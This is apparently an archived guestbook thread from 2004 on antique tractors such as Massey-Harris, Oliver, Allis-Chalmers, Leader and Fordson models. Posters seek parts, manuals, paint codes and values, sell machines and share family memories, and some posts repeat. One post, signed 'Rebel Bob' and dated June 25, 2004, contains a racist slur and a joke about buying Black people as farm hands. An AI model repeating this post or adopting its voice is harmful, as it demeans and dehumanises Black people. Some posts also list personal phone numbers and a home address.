Bruce wrote on Friday, July 30, 2004 (PDT):I have just purchased a 1952 w4. My plan is to restore it, so that I can work it. The tractor had been parked for nine years, and started with new gas and a very short pull. Problem is, the clutch and pressure plate seem to be stuck together.Any hints? Also I cannot get the starter out no matter which way I wiggle or turn it. There must be a way with-out breaking the tractor in two. Bruce (in n/w ont.)
Augusto Sanguinetti wrote on Thursday, July 29, 2004 (PDT):I'm from Argentina . I grew up in a farm and used a Massey Harris 44 diesel row crop for many years ,that my father bought to a local dealer in the year 1952 . One of my brothers still have it and is in service .
Gary Veach wrote on Thursday, July 29, 2004 (PDT):I restore old tractors as a business. Right now I'm restoring a 1957 D-17 diesel. I want to paint it the exact same colors as it came off of the show room floor. I don't have any pictures that show me how the tractor was origially painted. I'd like to get a sales brochure or someting that has some pictures of the tractor on it. If anyone has any information that will help me, please e-mail me. thanks
JR Via wrote on Wednesday, July 28, 2004 (PDT):I have been looking for a gear shift lever and cover plate for a 1949 Leader Tractor 3033-49D. I also own another Leader Tractor 2349-49C. Please let me know if you could help me out..Could use a manual for both. Thanks 7-28-2004
Dave Glenn wrote on Tuesday, July 27, 2004 (PDT):I have a 1947 oliver oc6 that runs but wont move. It is a track machine can anyone advise
Henry Hahn wrote on Tuesday, July 27, 2004 (PDT):Scott I have 2 parts tractors 48D&47D may have what you need Henry Hahn , 7606 Hwy. J , Perryville MO. 63775
Harold H wrote on Tuesday, July 27, 2004 (PDT):Louis asked the weight of a 1958 W-4. 1953 was the last year of the W-4. Shipping weight approximately 3875 lbs. Cast weights and fluid in tires add more. Harold H
Harold H wrote on Tuesday, July 27, 2004 (PDT):Someone asked why the rear wheels had spokes. This tractor was originally equipped with steel wheels and the rear wheels are the cut off steel wheels with rim welded on to convert tractor to rubber tires. Harold H
Len Mosher wrote on Monday, July 26, 2004 (PDT):I have a BO Lindeman Crawler, about 95% complete, in "disassebled" condition. I got it several years ago. It was running and I used it to skid logs to build a log house. It has a blade with cylinders inside the push arms and cables to raise the blade, attached to hangers that stick out to the side. I'm sure the folks who've seen these tractors know what I'm talking about. One the hangers is not original, the old one having been broken or lost. The hydraulics leaked like crazy, and not having much money, I used to have to take the cylinders apart regularly, to replace the "leathers", which I fashioned by freehand, with scissors. For every hour I used the machine, I used to spend about an hour working on it, as it was old and I was probably asking a lot of it. The steering clutches were quite warn, resulting in frequent attempts to adjust them and get a little more use, without spending much money. It really was a great machine, though, and I pulled some temendous weights with it. It was a little too exciting using it in the bush, however, especially when you got going backwards down a slope, with poor steering clutches and brakes, and the seat arrangement having you as the most rearward component. It was also fun going over big humps, because when the front of the crawler went down in a hurry, you went up at the same speed, and had to hold on for dear life, to not be catapulted right over the machine and land in front of it. I got it stuck in a mud hole once, working on my water line,and after many hours came out looking like the creature from the black lagoon, covered with mud thrown up by the flywheel and clutch cylinder. It was really deep. I finally got it out by throwing rocks under the tracks, until there was enough of a base to get moving again. I have always meant to restore it, which resulted in it's current state. I had someone working on it to fix the steering clutches, but he broke something (a cast part, difficult to repair), and then his wife died unexpectedly and it has sit idle for a couple of years, in it's state of dissasemblement. Anyone interested in a project? It's mostly there, and was running before being taken apart. It's a great source for parts, if nothing else.
Bryan LaVergne wrote on Sunday, July 25, 2004 (PDT):wanted small dozer oliver oc3 or of similar size Washington St.
Daniel wrote on Saturday, July 24, 2004 (PDT):Anyone looking for a Farmall "H" for parts I have one if your interested just email me.
JOE LEINBACH wrote on Saturday, July 24, 2004 (PDT):HI I AM LOOKING FOR A COCKSHUTT 30 DIESEL TRACTOR TO RESTORE ALSO I NEED A BELT PULLEY FOR MY GAS MODEL.
Larry FIELDS wrote on Saturday, July 24, 2004 (PDT):Hi own two ac loaders . both are hd 7 g one is in good shape . the other one is mostly parts . it will run and orerate . but pins and tracks and sprockets pretty bad . and just bought A hd6 dozer . looking for front idler any one out there have any tips where i could locate one please e-mail me yhank's
Bill Oster wrote on Saturday, July 24, 2004 (PDT):I am looking for an L or LA to restore Located in the midwest Phone 563 582 2954 Or E mail
Phillip Scott wrote on Friday, July 23, 2004 (PDT):I am looking to buy a Model G Allis with a plow, cultivator planter and sycle mower for use in my garden. I live in southwest Wisconsin , but location does not matter.
Phillip Scott wrote on Friday, July 23, 2004 (PDT):I am looking to buy a Model G Allis with a plow, cultivator planter and sycle mower for use in my garden. I live in southwest Wisconsin , but location does not matter.
David Strate wrote on Friday, July 23, 2004 (PDT):I just purchased a Ford Dexta 2000 and wonder if there is a place I can purchase a shop manuel for it.
J wagner wrote on Wednesday, July 21, 2004 (PDT):jw july 22, 2004, nice tractor bro. I don't critize anyones equipment. I am realy a massey-ferguson man myself.
Roger Levoy wrote on Wednesday, July 21, 2004 (PDT):Desperately looking for points for a 1250 cockshut tractor. Apparently they are discontinued but managed to locate the make and order number "Marelli DU2142". Points are for a four cylinder gas fiat engine. Any help from anyone would be appreciated.
mark westbrook wrote on Tuesday, July 20, 2004 (PDT):i have a MM M5 and a MM Jetstar both have clam type buckets mounted on the front was wondering what is the worth value of these tractors maybe interested in selling ifthe price is right
Mrs Jolene Rogala wrote on Tuesday, July 20, 2004 (PDT):All MASSEY FERGUSON OWNERS BEWARE! My husband purchased the MF tractor used and a particular lever unbeknown to him has to be engaged when towing a load going DOWNHILL!! The lever was not properly marked. I put the tractor in the lowest speed I could and expected to have a very slow descent down this dirt road. Well, it was as though I had the clutch pushed in; it "free wheeled" down this dirt road the weight of the 40 foot dock raised the rear end of the tractor puncturing the left rear tire of the tractor. I do NOT recall anything from here on. The tractor ran upside down until the gas and oil were gone. The piston spun in the block and the engine is virtually SHOT! It is going to cost us approx. $5,000 to rebuild the engine. It has been a year since my accident. I had broken 5 metatarsal bones, two main tendons, severed the main artery supplying blood to my foot,and there were multiple dislocations. So, if you are buying a Massey Ferguson used obtain an owners manuel so this does not happen to you. My family has suffered greatly because of this accident, which could have been prevented had the lever been properly marked. I don't have the technical term for the lever, you research it yourself. Good Luck, Mrs Jolene Rogala PS I am walking and feel blessed to be alive.
Donovan Shearer wrote on Tuesday, July 20, 2004 (PDT):I have purched a Massey-Harris with a front loader and a backhoe. I am doing research to find out what year and what i have. I am using it for digging trenches for power and water down in the Ozarks, around Badnell Dam. I have 20 acres that i am developing on a shoestring budget. The tractor does the work, but blew a hose last week. I am doing this part time, since I am on the road alot driving a charter bus. I will look for the numbers next time I am down there, so as to check out what year and what I have. thanks for being there
KEN wrote on Tuesday, July 20, 2004 (PDT):I HAVE 2 30'S M CRAWLERS AND A 45 GRADER THAT I'M TRYING TO RESTORE AND I'M LOOKING FOR ENGINE PARTS. THE CRAWLERS NEED PISTON AND SLEEVE AND VALVES AND EXHAUST/INTAKE MANIFOLDS, THE 45 GRADER NEEDS 1 SLEEVE AND PISTON AND CONNECTION ROD. ANY INFORMATION WOULD BE GREAT!!!
Nate Ary wrote on Tuesday, July 20, 2004 (PDT):I have a 1930 MH GP. It is grey with red steel wheels. It runs a little rough because it has a AC WD45 carb on it. Cant seem to lean it out enough. The tractor stays running though and looks good. The right brake drum is half broken so it only brakes one direction and that is directlry to the left. The serial number is 301652. Any one know where I can get an OEM Zenith carb for an OOC Hercules? The number is 0-11722 or an original Tilisen carb for the GP? Email me at super_dak2000 at yahoo.com. Thanks!
Nate Ary wrote on Tuesday, July 20, 2004 (PDT):I have a 1930 MH GP. It is grey with red steel wheels. It runs a little rough because it has a AC WD45 carb on it. Cant seem to lean it out enough. The tractor stays running though and looks good. The right brake drum is half broken so it only brakes one direction and that is directlry to the left. The serial number is 301652. Any one know where I can get an OEM Zenith carb for an OOC Hercules? The number is 0-11722 or an original Tilisen carb for the GP? Email me at super_dak2000 at yahoo.com. Thanks!
Harvey Balicki wrote on Monday, July 19, 2004 (PDT): I have a GG General 1939 and a Versatile 300 FWD 1974, maybe coming up for auction. I wondered if someone could give me an idea of value ? Phone 306 922 6171. Any information would be apprciated.
Takeo wrote on Sunday, July 18, 2004 (PDT):Hi ! I am looking for AC D12 spec sheets. Can anyone help me ? Thanks, Takeo.
J. D. Roa wrote on Saturday, July 17, 2004 (PDT):July 17, 2004 I just purchased a 1956 MM445 Utility today. I will be needing a few parts and most particularily I need paint codes. I'm really excited to get started with restoration.
Glenda Lurba wrote on Saturday, July 17, 2004 (PDT): I am looking for a MM RT-1 Can anybody help me? My phone no. is 1804-529-5192 est.
Glenda Lurba wrote on Saturday, July 17, 2004 (PDT): I am looking for a MM RT-1 Can anybody help me? My phone no. is 1804-529-5192 est.
Joe Lahrman wrote on Thursday, July 15, 2004 (PDT):What was the horsepower of a Oliver "88"
Joe Lahrman wrote on Thursday, July 15, 2004 (PDT):What was the horsepower of a Oliver "88"
Bryan wrote on Wednesday, July 14, 2004 (PDT):Request for Info; Any info would be helpful on the Governor and carb for a 6 cylinder conversion. It has a flat-head, (valve in block) in a 1952 8n, 'serial number on engine - 56738, Type 7 HNN * 1002 * ,. Would like to find a manual to adjust governor and the carburetor, and/or your advice. Where can I get a service or parts manual on this Ford industrial engine? The governor on this one is messed up. Not sure if this is a Funk conversion. Did all of them have Funk cast in the oil pan? Thanks
Scott Cain wrote on Wednesday, July 14, 2004 (PDT):Looking internal motor,trans.and rear end and axle parts etc.
LONA LISA WEEMS wrote on Wednesday, July 14, 2004 (PDT):I HAVE A FORD SHOP MANUEL, IT COVERS 4 DIFFERENT TRACTORS. THEY ARE; FORDSON-DEXTA,SUPER-DEXTA, 2000 SUPER-DEXTA & A NEW PERFORMANCE SUPER-DEXTA. IF YOU ARE INTERESTED IN PURCHASING A COPY OF THIS MANUEL WRITE TO; (RICHARD WEEMS #9 WHITE TAIL DRIVE, CRAWFORDVILLE, FL. 32327). THANKS.
C Clark wrote on Wednesday, July 14, 2004 (PDT):We know of an O-12 with 6.00x9 front tyres. We have seen this size tyre on the fairway-12. Other O-12's we have seen, seem to have a larger size front tyres. What is the correct size? C Clark
Tom Cooley wrote on Tuesday, July 13, 2004 (PDT):I have a '69 Oliver 550 with a 6' bucket on the front. One of the original power steering cylinders is shot. Does anyone have any ideas on how to either find parts or replacement cylinders? I also need rear axles seals. Is that much of a job? Thanks.
Al wrote on Tuesday, July 13, 2004 (PDT):I to amgetting ready to restore a MH50 and would like more information, were to get parts, decals, and picture of exhaust, where it comes out of the tractor for sure as the one my Brother left me is modified and I want to make it original. Thanks
Steven wiley wrote on Monday, July 12, 2004 (PDT):I, am looking for parts for my 1930 AC M Tracked Tractor. I hope someone can help.
Don Fender wrote on Sunday, July 11, 2004 (PDT):Hey'My dad has a 140 and he is having trouble with it building oil in the crank case.I'm trying to find a web sight with a diagrahm of all of the gaskets and where they go.I believe that where the hydraulic pump bolts to the block, the gasket is leaking.Thinking that hydraulic oil is leaking into the crankcase.Also I'm probably going to help him rebuild the motor.The tractor is A 140 farmall as you already know,The model # is 57779 HC and is a 1975.I need someone to please help me find these parts or web sites. Thanks a million Don.P.S I know this web site has all the parts but I was looking for a diagrahm of the gaskets.
John Faccin wrote on Sunday, July 11, 2004 (PDT):I have a chance to buy a TD35 that is stuck, it has a bucyrus blade or loader frams but no blade or bucket. They want 800.00 for it. is it worth that as it needs a total restoration.
Randy Woehl wrote on Sunday, July 11, 2004 (PDT):Can anyone tell me where to find out about when the L Case tractor on steel, when sold, did Case give out a small brass emblem with a leather strap? I guess this was for a pocket watch is what grandma said when she give it to me in 1981? Also did the possiablly give out a pocket watch? I have these Items and pocket watch, Elgin, dates to 1931. I also have all the original owners manuals for the L, LA, and the J.I. Case Threasher. And BW photos of all this together when my Grandfather purchaced this, and it operating in the field. See he run a Threasing Company in the 20's - 40's. Saved Everything, and the threasher is still on the farm. But my Grandpa is gone,and my Dad and brother passed early. So I am left with all this and trying to put it all together. Now you know my intrest. Can anyone tell me where to find out this information, web sites, people, or place to go. I have more items,manuals, tools, parts,ect, but those are the most intresting ones to me that seem to somehow go together. e-mail me ; woehl at hotmail.com Thankyou to anyone that can help me to learn about this history, that way I learn more about my Grandpa too.
James Engle wrote on Saturday, July 10, 2004 (PDT):my family has a 63 Dexta and a 65 or 66 Super Dexta that has been in the family since about 1972-D and 1975-SD and we finally wore the Dexta out and decided to use it for a parts tractor. It has been a donner for the Super Dexta and so far all parts interchange. The lift quit working due to the lift cylinder blowing the o-ring and we had to fix it with an O-ring purchased from the local auto parts store, and the engine is a perkins diesel and the parts are easy to find since those engines were used in everything you could imagine ( the latest engine in the tractor came from a vermeer 440 trencher). If you really look you will find that many of the parts are still being made even today but you have to figure out what they are currently being used on. Yes there are a few parts that only work on those tractors but, there are a lot of the parts that have been adapted to other tractors and equipment. I hope that this will help everone in the search for the parts they need and the problems they run into.
Rowdy McMurray wrote on Saturday, July 10, 2004 (PDT):I have a Massey Ferguson 253 and would like to know where I can find out the horsepower of the engine or find a manual....
Peggy Haswell wrote on Saturday, July 10, 2004 (PDT):My family has a Fordson Dexta, as best we can guess it is 1950ish model. The word "Einto" in above the numbers on the tractor. The numbers are 857E7005, T4, L150. Can any of you tractor buffs help with any information. I've been told it's a "Major"?
Chuck Marcussen wrote on Friday, July 09, 2004 (PDT):IH cub it runs like a clock. New tires,new carb.,many parts. Located east of New Orleans. $1600.00 985 641 2015
Rex Kelly wrote on Friday, July 09, 2004 (PDT):I couldn't begin to tell you how many hours I spent on our vista 1000 as a kid. That thing was tough and would like to buy one today if there is anyone with quality tractor for sale out there please contact me. It doesn't have to look good, just needs to run good. 816-308-0145. I am also interested in other mms for sale. These are for my personal use not show.
Derrick Blacquiere wrote on Friday, July 09, 2004 (PDT):My father had a 30 way in the back yard that he use many years ago in the woods. It had been sitting there for three years cents it was started last os I said to him can I have the old tractor in the back yard ;well what are you going to do with it he said; give it some new life I said. The next day I went down to the old tractor with some gas and a battery the starter was ceased up so I had to use the hand crank well three turns of the crank and the way she went and i drove it home five miles away.Now I have it sitting my garage going though the process of rebuilding it.I will let you now how it turns out
jade meinzer wrote on Thursday, July 08, 2004 (PDT):I am telve years old and restored a 1948 MM "UT" and i would like to know where the decals go on the tractor. A picture would be helpful. Thanks.
Marv White wrote on Thursday, July 08, 2004 (PDT):I have a 49 model WD (gas), it's been setting for a year, and I would love to have someone take her off my hands for a reasonable offer. I am in the process of putting on a new rear wheel, and when I get the wheel stop, I'll have it back together. Wichita falls is north of Dallas TX any takers
Nancy Jensen-Case wrote on Wednesday, July 07, 2004 (PDT):I have a nonprofit animal sanctuary outside of Elgin, Texas, (30 miles east of Austin) and have recently bought an Avery BF Model A from a local fellow. Its date of manufacture is stamped at the bottom edge of the Hercules engine and reads; 7-29-47. It is in excellent working order and is more than adequate to the jobs for which I need it. It looks like the photo at the beginning of this discussion list. Nancy Jensen-Case/Dreamtime Sanctuary
Nancy Jensen-Case wrote on Wednesday, July 07, 2004 (PDT):I have a nonprofit animal sanctuary outside of Elgin, Texas, (30 miles east of Austin) and have recently bought an Avery BF Model A from a local fellow. Its date of manufacture is stamped at the bottom edge of the Hercules engine and reads; 7-29-47. It is in excellent working order and is more than adequate to the jobs for which I need it. It looks like the photo at the beginning of this discussion list. Nancy Jensen-Case/Dreamtime Sanctuary
Aaron Lenk wrote on Tuesday, July 06, 2004 (PDT):My real dad use to own two G1000s and we used one for field work. We used 5 bottom plow and and a 16 foot disk with a 16 foot drag behind disk occasionally. It was a damn good work horse in the fields but the pto took a crap and thats only problem we had with that one. The other G1000 was older style and used that for spreading manure and when ever we thought we working them two G1000s it didn't even phase'em. G1000s where built heavy which is good for field work and had very good lugging power. One of the best tractors ever built and one of the best in my book for sure.
Henry Hahn Leader tractor club president wrote on Tuesday, July 06, 2004 (PDT):Shelly send me your land address and I will send information about Leader Tractor co. henry hahn
Klaus Nieder wrote on Sunday, July 04, 2004 (PDT):Hydralic problem the lift does not work pump looks good any kind of help would be great
william riggan wrote on Friday, July 02, 2004 (PDT):who much do u want for it because i want to buy it thanks
Ed Dumm wrote on Friday, July 02, 2004 (PDT):Just got a tractor manufactured by The Cleveland Tractor Co; The General Model GG Serial # 7FA456. We would appreciate any information as to year of production and availability of parts. We like a challenge but may have met our match with this one.
Kenneth Laird wrote on Thursday, July 01, 2004 (PDT): I have a D 10 Busghog tractor and 42 in. busghog mower . I am having trouble with the lever not staying ingaged when I try to use the mower . It will stay ingaged if I hold it , but just as soon as I let go it will kick out . Does anyone have a suggestion how to fix it .
Elliot Kraemer wrote on Monday, June 28, 2004 (PDT):I need a Hydraulic pump for my GVI diesel asap!!! The numbers on the pump read. 39184-3 A743 10A23670 My number is (507)-753-2943 leave message
roycejohns wrote on Monday, June 28, 2004 (PDT):If any can tell me the color of the mccormick-deering tractor paint,also a spray can paint would be helpfull.
Jo wrote on Monday, June 28, 2004 (PDT):What is the displacement of the Allis Chalmers D12?
Shelly wrote on Sunday, June 27, 2004 (PDT):Hi, my Dad has recently passed away and left my mother and I a 1948 Leader tractor. The tractor does run, but needs tune-up. We would like to show the tractor at local events and parades an such in honor of my fathers pride. But we need help, first where do I look for paint codes, parts etc. Please help.
Justin Schambron wrote on Sunday, June 27, 2004 (PDT):My Dad has just recently past away and had aD15 i am going to restore it and i am looking for fuel line original. Mom said that he had given up on it he could not get it started but last night after a few hours and my wife pulling me down the road it came to life agian mom heard it fire up stepped on the porch and said she could hear poppy laugh and the best part was i could hear it too.Soi am looking for any tractor salvages near oklahoma,thank you and GOD BLESS.
kathee akin wrote on Saturday, June 26, 2004 (PDT):where would i find information on a rock island plow that is horse drawn? please email me and let me know
Rebel Bob wrote on Friday, June 25, 2004 (PDT):I found some hands on ebay. They want two dirty niggers and a pack of redman dip. There located in north carolina
Rich wrote on Friday, June 25, 2004 (PDT):Hello, I think I have a Case VC tractor, but I am not sure as the serial number plate is missing. Any tell-tale attributes that you know of to uniquely identify it as a VC? Also, this tractor has what a appears to be a hydraulic lift on the rear end by the PTO shaft. I have replaced the transmission gear lube, but there is yet another resevoir associated with this lift. Any idea what type of fluid should be installed? What came out of this resevoir looked like heavy gear lube, but I think it probably should have hydraulic fluid installed. I welcome any advice. Rich
RICK EICK wrote on Thursday, June 24, 2004 (PDT):I AM LOOKING FOR ALLIS CHALMERS MOTOR PARTS FOR A 426 MOTOR.
Daniel Jurs wrote on Thursday, June 24, 2004 (PDT):I've got a 1965 D-15 which I really like using. I'm looking for a series IV D-17, WF. Know any for sale ?
Jeff wrote on Tuesday, June 22, 2004 (PDT):damn rite fickel
Craig wrote on Monday, June 21, 2004 (PDT):I have a Cockshutt 30 for sale as well. I do not know how much it worth so if you can offer me some help.
Alexandra wrote on Saturday, June 19, 2004 (PDT):I am 12 years old and I have a '39 John Deere "H". It rocks! My sister, me and my brother, we all got a tractor when we were born. My sister got a Massy Harris Pony(or how ever you spell that) and my brother got a Farmall Cub (Mine is the biggest one of all of them ;-D). I got to drive it once. I hope to again soon. I just got a collectors model of my tractor, like for show. Model "H" are very hard to find, but that one was the first one I saw in the store. cya!
John wrote on Saturday, June 19, 2004 (PDT):I have a Fordson Super Major(1962-1964?),with loader. I am in the process of changing the hydraulic fluid.I have drained the fluid from two places,one ,with the majority, of fluid from a very large drain plug located directly under the rear end,the other being much smaller ,and less volume up closer to the engine and on an angle.There is a dipstick close to my left foot but it seems to be only for the rear fluid level.How does one know how how full to fill the front reservoir (big offset plug on left side ,in front of foot).Any info on hydraulic fluid levels would be appreciated. I had thought that the two reservoirs were connected and that they were handled by the same pump but now I am not so sure.Thanks.
Darryl Krause wrote on Thursday, June 17, 2004 (PDT):I might have one of my D-21's for sale soon.It is a series 1 with a rod through the side.Serial #1457 Has a turbo on it.24.5x32 60% rubber on back,11.00 16 front 75% 3 point pto,missing grill and fender skirts,ding in fuel tank,rest of metal is straight and no rust.$2750.In Wa.360 815 6979
JT wrote on Thursday, June 17, 2004 (PDT):if anyone has a set of crawler tracks for a 1950 allis chalmers hd5 please send me an email thanks
Louis wrote on Wednesday, June 16, 2004 (PDT):Does anybody know the aproximate weight of a 1958 W4? Thanks.
Rob Waltz wrote on Monday, June 14, 2004 (PDT):I have a G1000 Vista Diesel for sale. It is a 1967 with 49xx hours, less than 500 hours on OH. We are the 3rd owner and it is a nice tractor with a cab and weights.
Grady wrote on Friday, June 11, 2004 (PDT):I'm used to restoring Farmalls but just acquired an Oliver Super 55. Where can I locate the serial number? Any other tips, including paint colors, etc. would be appreciated. Thanks.
Bandit wrote on Friday, June 11, 2004 (PDT):The last 1066 i drove was an awesome black stripe. I loved it but that 220 horse 1256 was more fun.
fant martin wrote on Thursday, June 10, 2004 (PDT):am looking at leader that has live drive and seems to be in very good condition(restored).understand it is 32 h.p.,so i suppose it can pull 5 foot bush hog ok.with live drive must have been made in the 1950s?would like to know fair price and availability of parts.from reading comments here they are hard to find.maybe i should go back to ford8n(mine burned up recently).appreciate your comments/suggestions.thx--fant
Bob wrote on Tuesday, June 08, 2004 (PDT):I am in the process of restoring a 1952 "G"...I need a hood and grill to complete this project...if anyone knows where I can obtain either of these parts, please contact me at BakwoodsTn at aol.com asap...thanks... Bob
Tim wrote on Sunday, June 06, 2004 (PDT):I have an Oliver Super 55 in good condition that I've been using for 5 years to drag trees - it is a gas engine model and is located in Connecticut. I'm looking into a newer machine and I'm interested in selling. Anyone interested?
Dave wrote on Sunday, June 06, 2004 (PDT):Timing!! I am unable to locate any form of timing mark on flywheel. Therefore I am also unable to locate TDC for number one cylinder. Without sound like an idiot, I am not sure if I'm on the compression or exhaust side of TDC. Manuals haven't arrived yet. Any help would be appreciated.
Scott Mattison wrote on Saturday, June 05, 2004 (PDT):I have a 1951 Oliver OC3 with an AC Anderson dozer blade. Does anyone have any manuals or information on this blade manufacturer? Thanks!
Laury Spink wrote on Saturday, June 05, 2004 (PDT):My Dad recently bought one of these to restore. Can anyone tell me where I could get decals for it? Thanks
Ray wrote on Friday, June 04, 2004 (PDT):I have my dad's leader tractor. Don't really know much aboutit. Trying to figure out what a fair price would be for it? Any ideas?
Richard Umlauf wrote on Wednesday, June 02, 2004 (PDT):Have a AC D15 series ll in very good shape. Has a Kelly front loader bucket. Anyone know the rated HP for this tractor and also what it may be worth? Has real good rubber,starts and runs great.
bob wrote on Monday, May 31, 2004 (PDT):Just finished restoring a 1940 B. Looks great. Am looking for a set of stock cultivators for it. any hits?
David Fickel wrote on Monday, May 31, 2004 (PDT):Ya it's cool, but the 1466 Turbo and the 1486 Red Power edition will rule all!
Mark wrote on Monday, May 31, 2004 (PDT): have recently purchased a 20hp compound Russell steam engine. I am looking for any information and anyone that would be willing to allow me to make copies of some parts I am Missing to have them recast. From what I can tell It was built between 1905 and 1915? Does the national Russell association still exist?
Gestur Gunnarsson wrote on Sunday, May 30, 2004 (PDT):In the spring of 1955, at age of 13 my carrier in the field of engineering, started by driving Farmall A. It was in the farm Lykkja, Kjalarnes, Iceland. We was harvesting hay the farmer a I. He drove the new Ferguson. Sometimes I started the work after milking at 10 o"clock and continued until 22 in. It was hard work but good school. Gestur Gunnarsson Reykjavik Iceland
robert price wrote on Saturday, May 29, 2004 (PDT):i live in the hill country texas and i am in the market for an OC3 that is running are that can be made to run are one for parts any help would be thankful thanks robert
Andy wrote on Saturday, May 29, 2004 (PDT):I have a 1960 Lo-Boy with several implements. It seems to have a problem with the carb not getting gas. If I mist it (spray or pour gas into the air intake) it runs fine, I think it may be an air intake leak. I have great fuel flow and have taken the carb apart and cleaned it several times (I have not rebuilt the carb). Everything looks fine but it won't run without "misting" it, if I do it runs great. I just changed the oil and am getting ready to get it fixed but where? I was informed there is a place in Mass around Worcester or Springfield that specializes in Cubs, tune-ups and repairs. I forgot where exactly but think it was called "The Outdoor power shop" or something like that. Anyone out there that could help me locate this shop to work on my Cub or knows of a good knowledgeable shop or person in the New England area to help me? The tractor otherwise is solid and I have several implements and I would love to have it running good again like when I bought it to use it at my camp in Maine...
JD Cain wrote on Friday, May 28, 2004 (PDT):We have an alligator crawler that is in good condition and runs good. It will be selling June 5th. Also at sale; antique tractors, antique garden tractors, antique walkbehinds, implements, antique cars, willy's jeep, tools, engines, and much more! (316)322-5384 or (316)322-3976. You can view photos at www.nixonauctioneers.com/lists/cain.htm
Orin Roberts wrote on Wednesday, May 26, 2004 (PDT):I was wondering if anyone would know were i could locate a manual and side pannels for a massey harris 81. this is my firts real project and any help would be a great help.
Harry Moore wrote on Wednesday, May 26, 2004 (PDT):I am working on a 1950 model B. I would like some info on what the levers are & do. They are located on the steering column. It almost starts, but need to know more about the levers at the present time. Thanks.
Darryl G Nealis wrote on Monday, May 24, 2004 (PDT):I have a parts manual book for a 550 Oliver, a service manual for Oliver 66,77,88,Super55,66,77,88,550,660,770,880. Volumes 1,2,and 3. They all are in new condition. I will sell for $200.00.
Darryl G Nealis wrote on Monday, May 24, 2004 (PDT):I have a parts manual book for a 550 Oliver, a service manual for Oliver 66,77,88,Super55,66,77,88,550,660,770,880. Volumes 1,2,and 3. They all are in new condition. I will sell for $200.00.
Robert wrote on Sunday, May 23, 2004 (PDT):Matt, a UDLX would no doubt cost big bucks. They are highly sought after by collectors because of the style and limited number that were produced.
BEN wrote on Saturday, May 22, 2004 (PDT):OUR TRACTOR CLUB IS LOOKING FOR A OLIVER 44 /44O /55 /550 TRACTOR TO RAFFLE OFF AT 2005 TRACTOR SHOW 9527587810 THANKS
Matthew Williams wrote on Saturday, May 22, 2004 (PDT):I own a dexta tractor - how do I tell the difference between a dexta and a super dexta? What do the orange wheels signify?
dixon wrote on Friday, May 21, 2004 (PDT):i have a 1954 fordson major diesel,all the wheels are orange,whitch they have been sence 1964.thats my tractor.put new short block june 64 broke the fabric that drives the fuel pump.need some help yo time it thanks
Dale Keesecker wrote on Friday, May 21, 2004 (PDT):I am in the process of restoring a John Deere 720 diesel for farm use. Does anyone have any parts for this machine? It is a 1956. If you do, I could email you a list of what I am looking for. Prefer new or good used parts. Please email dale at keesecker.com. Thanks.
Jerry Howard wrote on Thursday, May 20, 2004 (PDT):I have a Mc Cormick Farmall Cub, serial # 185116 J. Would like to know the year it was built. I'm going to put it up for sale. It runs great, has a Woods 42" belly mower, and the rear tires are like knew. Located in Racine WI.. Jerry at 262 835 1354.
Floyd wrote on Wednesday, May 19, 2004 (PDT):How bad is the job of installing a PTO on a G-1000 that came without one? I'm assuming this is a wheatland tractor since it has not rockshaft, 3-point or PTO. Thanks
Don Yelverton wrote on Monday, May 17, 2004 (PDT):I doing a little research and would like to know the wheelbase of the AC K Crawler and when some of the changes or improvements occurred over time. I haven't been able to find a site on the net with htis type of information. Thanks in advance for your assistance.
ann wrote on Sunday, May 16, 2004 (PDT):what is the horsepower of a allis chalmers d12 tractor?
DAVID wrote on Sunday, May 16, 2004 (PDT):I HAVE A ENGINE BLOCK FOR A SC CASE PLUS OTHER PARTS, FRONT END,ROCKER LIFT,FRONT RIMS,REAR HUBS. I'AM LOOKING FOR A WATER PUMP FOR A 54 SC CASE. CAN ANYBODY HELP
Ted wrote on Wednesday, May 12, 2004 (PDT):I own a Massey Harris 55DS serial no. 1121. It has a crack near the top of the engine block. Can that be fixed? I'd appreciate any helpful comments. Thanks
Bill Wilson wrote on Monday, May 10, 2004 (PDT):Looking at the picture I figure I have a Massey Harris 81. I bought it 10 years ago and it served me well plowing snow and skidding/lifting logs for a log cabin we built. It has a loader with it and good rubber. She is getting tired and needs a motor rebuild but still runs. I would like to sell it and am open to offers. I am located in Northern MN and can be reached by e-mail.
jack nagel wrote on Sunday, May 09, 2004 (PDT):HI I from ontario canada 40 milies from wher cockshutt was built. The 40 # 35 wher painted yellow only early ones where red. I have restored lots of them.
Rodney S Taylor wrote on Friday, May 07, 2004 (PDT):I am interested in adding a belly mower to a Allis Chalmers Model G to was my Grandfather's. As far as I know there is no PTO. Can anyone advise me on how to and were to locate such a mower?
royce johns wrote on Tuesday, May 04, 2004 (PDT):I bought a o12 Mccormick-deering, I would appreciate any info on this tractor. thanks
Jean wrote on Monday, May 03, 2004 (PDT):Do you know where is the name "Cockshutt" come from ?
Bertie Smit wrote on Sunday, May 02, 2004 (PDT):i own a Massey Harris K55 and i want to know some of his specs, kw/s, torque n/m, max rpm/s. Looking for a heatgage and eqnition and a generator. thanx
irene chartier - birtle manitoba wrote on Saturday, May 01, 2004 (PDT):looking for info on rock island tractor 18-35 built around ?1914-20 2m carb 4 cylinder full steel
Randy Frazier wrote on Thursday, April 29, 2004 (PDT):I am in the process of restoring a 48B. I would like to locate a club around the Dallas,TX. area for parts and resto info.
Peter M. Ratcliffe. wrote on Thursday, April 29, 2004 (PDT):UK farmer. I have nice 1949 Allis-Chalmers HD 5B crawler with GM type 71 blown-scavenge two-stroke Diesel. Not much info Stateside. Possibly they were nt popular-? Great tractors over here. Caterpillar eventually outperformed. Member UK Chapter ACMOC. Have collection great machines
Landon Paulson wrote on Wednesday, April 28, 2004 (PDT):hey there Jacques thankyou for the information on the steering box , turns out i needed that to.... your help is muchley appretiatied
ALLAN C. OLIVER wrote on Tuesday, April 27, 2004 (PDT): I HAVE A 1960 550 GAS WITH PS. ALSO HAVE LOADER (ALLIED) VERY GOOD RUNNING TRACTOR NOT FOR SALE.
Lee wrote on Monday, April 26, 2004 (PDT):Looking for a Ford 8N in good shape. We are located in northeast Nevada
Graham wrote on Monday, April 26, 2004 (PDT):Hi I have a 1962 ford 4 cy gas tractor with power steering the pump is going out does anyone know where I could get one with out costing an arm and leg..thanks to all
Lyle Arran wrote on Monday, April 26, 2004 (PDT):I have a Cockshutt 30 for sale if anyone is interested. It runs good with live pto but needs paint. $600 can.PH.204 532-2004
Jack Lupkes wrote on Sunday, April 25, 2004 (PDT):I am looking for a 24 inch rear rim 8 hole for a Ford 2000 Dextra. If anyone has one or knows where I can get one, please email me.
